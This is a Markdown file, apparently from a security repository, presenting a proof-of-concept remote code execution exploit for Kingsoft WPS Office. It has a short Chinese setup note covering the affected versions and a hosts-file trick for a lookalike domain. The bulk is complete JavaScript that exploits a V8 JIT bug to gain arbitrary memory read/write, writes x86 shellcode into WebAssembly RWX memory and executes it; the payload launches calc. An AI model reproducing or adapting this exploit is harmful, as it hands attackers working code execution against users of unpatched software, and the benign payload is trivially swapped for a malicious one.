204 lines
5.5 KiB
Markdown
204 lines
5.5 KiB
Markdown
## 金山WPS RCE
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wps影响范围为：WPS Office 2023 个人版 < 11.1.0.15120
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WPS Office 2019 企业版 < 11.8.2.12085
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POC
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在1.html当前路径下启动http server并监听80端口，修改hosts文件（测试写死的）
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127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn
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漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn cloudwps.cn和wps.cn没有任何关系
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代码块在底下。（需要原pdf加wechat）
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```
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<script>
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if(typeof alert === "undefined"){
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alert = console.log;
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}
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let f64 = new Float64Array(1);
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let u32 = new Uint32Array(f64.buffer);
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function d2u(v) {
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f64[0] = v;
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return u32;
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}
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function u2d(lo, hi) {
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u32[0] = lo;
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u32[1] = hi;
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return f64[0];
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}
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function gc(){ // major
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for (let i = 0; i < 0x10; i++) {
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new Array(0x100000);
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}
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}
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function foo(bug) {
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function C(z) {
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Error.prepareStackTrace = function(t, B) {
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return B[z].getThis();
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};
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let p = Error().stack;
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Error.prepareStackTrace = null;
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return p;
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}
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function J() {}
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var optim = false;
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var opt = new Function(
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'a', 'b', 'c',
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'if(typeof a===\'number\'){if(a>2){for(var
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i=0;i<100;i++);return;}b.d(a,b,1);return}' +
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'g++;'.repeat(70));
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var e = null;
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J.prototype.d = new Function(
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'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
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J.prototype.a = new Function('a', 'a.b(0,a)');
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J.prototype.b = new Function(
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'a', 'b',
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'b.c();if(a){' +
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'g++;'.repeat(70) + '}');
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J.prototype.c = function() {
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if (optim) {
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var z = C(3);
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var p = C(3);
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z[0] = 0;
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e = {M: z, C: p};
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}
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};
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var a = new J();
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// jit optim
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if (bug) {
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for (var V = 0; 1E4 > V; V++) {
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opt(0 == V % 4 ? 1 : 4, a, 1);
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}
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}
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optim = true;
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opt(1, a, 1);
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return e;
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}
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e1 = foo(false);
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e2 = foo(true);
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delete e2.M[0];
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let hole = e2.C[0];
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let map = new Map();
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map.set('asd', 8);
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map.set(hole, 0x8);
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map.delete(hole);
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map.delete(hole);
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map.delete("asd");
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map.set(0x20, "aaaa");
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let arr3 = new Array(0);
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let arr4 = new Array(0);
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let arr5 = new Array(1);
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let oob_array = [];
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oob_array.push(1.1);
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map.set("1", -1);
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let obj_array = {
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m: 1337, target: gc
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};
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let ab = new ArrayBuffer(1337);
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let object_idx = undefined;
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let object_idx_flag = undefined;
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let max_size = 0x1000;
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for (let i = 0; i < max_size; i++) {
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if (d2u(oob_array[i])[0] === 0xa72) {
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object_idx = i;
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object_idx_flag = 1;
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break;
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}if (d2u(oob_array[i])[1] === 0xa72) {
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object_idx = i + 1;
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object_idx_flag = 0;
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break;
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}
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}
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function addrof(obj_para) {
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obj_array.target = obj_para;
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let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
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obj_array.target = gc;
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return addr;
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}
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function fakeobj(addr) {
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let r8 = d2u(oob_array[object_idx]);
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if (object_idx_flag === 0) {
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oob_array[object_idx] = u2d(addr, r8[1]);
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}else {
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oob_array[object_idx] = u2d(r8[0], addr);
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}
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return obj_array.target;
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}
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let bk_idx = undefined;
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let bk_idx_flag = undefined;
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for (let i = 0; i < max_size; i++) {
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if (d2u(oob_array[i])[0] === 1337) {
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bk_idx = i;
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bk_idx_flag = 1;
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break;
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}if (d2u(oob_array[i])[1] === 1337) {
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bk_idx = i + 1;
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bk_idx_flag = 0;
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break;
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}
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}
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let dv = new DataView(ab);
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function get_32(addr) {
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let r8 = d2u(oob_array[bk_idx]);
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if (bk_idx_flag === 0) {
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oob_array[bk_idx] = u2d(addr, r8[1]);
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} else {
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oob_array[bk_idx] = u2d(r8[0], addr);
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}
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let val = dv.getUint32(0, true);
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oob_array[bk_idx] = u2d(r8[0], r8[1]);
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return val;
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}
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function set_32(addr, val) {
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let r8 = d2u(oob_array[bk_idx]);
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if (bk_idx_flag === 0) {
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oob_array[bk_idx] = u2d(addr, r8[1]);
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} else {
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oob_array[bk_idx] = u2d(r8[0], addr);
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}
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dv.setUint32(0, val, true);
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oob_array[bk_idx] = u2d(r8[0], r8[1]);
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}
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function write8(addr, val) {
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let r8 = d2u(oob_array[bk_idx]);
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if (bk_idx_flag === 0) {
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oob_array[bk_idx] = u2d(addr, r8[1]);
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} else {
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oob_array[bk_idx] = u2d(r8[0], addr);
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}
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dv.setUint8(0, val);
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}
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let fake_length = get_32(addrof(oob_array)+12);
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set_32(get_32(addrof(oob_array)+8)+4,fake_length);
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let wasm_code = new
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Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,
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128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,
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128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0
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,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
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let wasm_mod = new WebAssembly.Module(wasm_code);
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let wasm_instance = new WebAssembly.Instance(wasm_mod);
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let f = wasm_instance.exports.main;
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let target_addr = addrof(wasm_instance)+0x40;
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let rwx_mem = get_32(target_addr);
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//alert("rwx_mem is"+rwx_mem.toString(16));
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const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
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0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14,
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0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c,
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0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b,
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0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01,
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0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
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0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
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0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
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0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01,
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0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61,
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0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d,
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0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b,
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0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd,
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0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
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0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63,
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0x00]);
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for(let i=0;i<shellcode.length;i++){
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write8(rwx_mem+i,shellcode[i]);
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}
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f();
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</script>
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```
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